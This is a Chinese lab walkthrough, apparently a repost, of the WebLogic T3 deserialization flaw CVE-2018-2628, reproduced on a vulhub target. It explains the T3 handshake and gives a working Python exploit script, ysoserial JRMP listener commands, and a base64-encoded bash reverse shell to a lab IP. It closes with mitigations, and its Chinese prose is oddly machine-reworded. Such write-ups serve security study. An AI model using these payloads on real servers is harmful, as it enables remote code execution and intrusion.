WebLogic T3反序列化漏洞(CVE-2018-2628)--vulhub

WebLogic T3反序列化漏洞(CVE-2018-2628)

WebLogic在通信过程中利用T3协议传输数据，涉及到了序列化和反序列化操纵。
T3协议概述

T3协议是Oracle的私有协议，所以公开的相关资料比较少，这里联合其他师傅的博客简朴对T3协议举行一个简要分析。
T3协议是WebLogic的一种专有通信协议，在Weblogic中的RMI通信是利用T3协议实现的（一样平常的RMI通信利用的是JRMP协议）。
在T3协议中协议协商的协商阶段，会发送一个哀求包头（handshake）用来表明这是一个T3协议，它负责定义数据包的根本结构和传输协议的版本信息。
客户端会起首发送下面的信息给weblogic服务器：

1. t3 12.2.3
2. AS:255
3. HL:19
4. nMS:10000000

复制代码

模仿发包

利用python模仿发包，利用wireshark抓包nat网卡查看

1. import socket
3. handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
4. ip = "192.168.88.150"
5. port = 7001
7. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8. sock.connect((ip, port))
9. sock.sendall(handshake.encode())
10. data = sock.recv(1024)

复制代码

服务器收到消息后，会回复雷同的信息

相应包头中HELO后面的内容是被连接的weblogic的版本号12.2.1.3。通信双方根据对方发来的协议协商信息，开始建立连接。
再协商完毕上面的信息后，客户端会向服务端发送自己的具体信息，这是一段二进制数据。在这段二进制流的前4bytes标识了本次哀求的数据长度，然后直到遇到aced 0005序列化数据的标识之前，这部门内容被称为PeerInfo。
以这个PoC脚本（ https://www.exploit-db.com/exploits/44553 ）哀求数据包为例：

在aced 0005之后的就是现实传输的序列化数据。
T3反序列漏洞分析

前面提到WebLogic的RMI是通过T3协议实现的，在T3协议的传输过程中同样会举行序列化和反序列化的操纵，所以说T3的反序列漏洞和RMI的反序列漏洞的原理险些是一致的。
大部门的WebLogic的利用脚本都是利用python编写的，比如上面提到的那个PoC脚本。根本的思路都是更换WebLogic T3协议流中aced 0005部门为恶意的序列化数据来实现反序列化攻击。其实也就就是把ysoserial生成的Payload变成T3协议里的数据格式。
除了由 Exploit Database 提供的利用脚本，还有国内其他师傅写的脚本：

1. import socket
2. import sys
3. import struct
4. import re
5. import subprocess
6. import binascii
8. def get_payload1(gadget, command):
9.     JAR_FILE = './ysoserial.jar'
10.     popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
11.     return popen.stdout.read()
13. def get_payload2(path):
14.     with open(path, "rb") as f:
15.         return f.read()
17. def exp(host, port, payload):
18.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19.     sock.connect((host, port))
21.     handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
22.     sock.sendall(handshake)
23.     data = sock.recv(1024)
24.     pattern = re.compile(r"HELO:(.*).false")
25.     version = re.findall(pattern, data.decode())
26.     if len(version) == 0:
27.         print("Not Weblogic")
28.         return
30.     print("Weblogic {}".format(version[0]))
31.     data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
32.     t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
33.     flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
34.     payload = data_len + t3header + flag + payload
35.     payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
36.     sock.send(payload)
38. if __name__ == "__main__":
39.     host = "192.168.1.40"
40.     port = 7001
41.     gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
42.     command = "touch /tmp/CVE-2015-4852"
44.     payload = get_payload1(gadget, command)
45.     exp(host, port, payload)

复制代码

原理都是一样的，把生成的Payload更换掉原来的序列化的部门，但要保证T3协议格式仍旧精确。
造成反序列漏洞的缘故起因一样平常都是readObject方法在举行反序列化操纵出现了题目，T3协议的反序列漏洞也不破例。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里举行反序列化操纵。
借一张其他师傅博客的图：

中间的调用过程先不谈，导致的漏洞产生的直接缘故起因就是在resolveClass方法中也没做任何的校验。
这个resolveClass方法的作用是将类的序列化形貌符加工成该类的Class对象。resolveClass没有任何校验的话，就意味着它会获取任意的类的Class对象，这就有了可乘之机，可以轻易获取我们恶意的类的Class对象，从而造成反序列漏洞。
T3协议的利用最早可以追溯到2015的CVE-2015-4582，漏洞存在于Commons-Collections这个库的CC链1的利用。到后来的CVE-2016-0638和CVE-2016-3510都也很雷同。
到17年之后的漏洞开始通过构造JRMP服务器监听的方法反向触发，比如第一个CVE-2017-3248，到后来的CVE-2018-2628它对上一个的绕过，之后还有CVE-2020-2555，CVE-2020-2883等漏洞。
漏洞复现

影响版本： Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
没有web页面
利用nmap探测weblogic的T3协议是否启用，以及版本号
开启的即可

1. nmap -sV 192.168.200.142 -p 7001 --script weblogic-t3-info

复制代码

1.python

利用python脚本主动化实行命令，改个IP即可利用
输入命令

成功写入，在tmp目次下成功创建文件

2.ysoserial

开启JRMP服务监听，选择CC1链。

1. java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

复制代码

利用漏洞exp(前面提到的poc)，向目标Weblogic发送Payload：

1. python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

复制代码

exp实行完成后，靶机回连本地JRMP服务，JRMP服务端收到哀求：

成功写入

反弹shell

1.python主动实行的脚本
更改command即可，kali开启监听

1. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}

复制代码

base64编码是反弹shell命令：bash -i >& /dev/tcp/192.168.200.131/6666 0>&1
成功获取反弹shell

2.ysoserial
本地开启JRMP监听，监听本地2333端口，利用链依然利用CC1链：

1. java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}
2. "

复制代码

利用exp，向目标Weblogic发送Payload：

1. python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

复制代码

成功获取shell

修复步调

关闭T3服务：假如Weblogic控制台端口（默以为7001端口）开放，T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。
更新补丁：应用Oracle官方发布的最新补丁，并升级JDK至1.7.0.21以上版本。
更改代码：假如无法应用补丁或更新JDK，可以思量更改代码，例如在黑名单中添加特定的类名，以阻断漏洞利用。

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。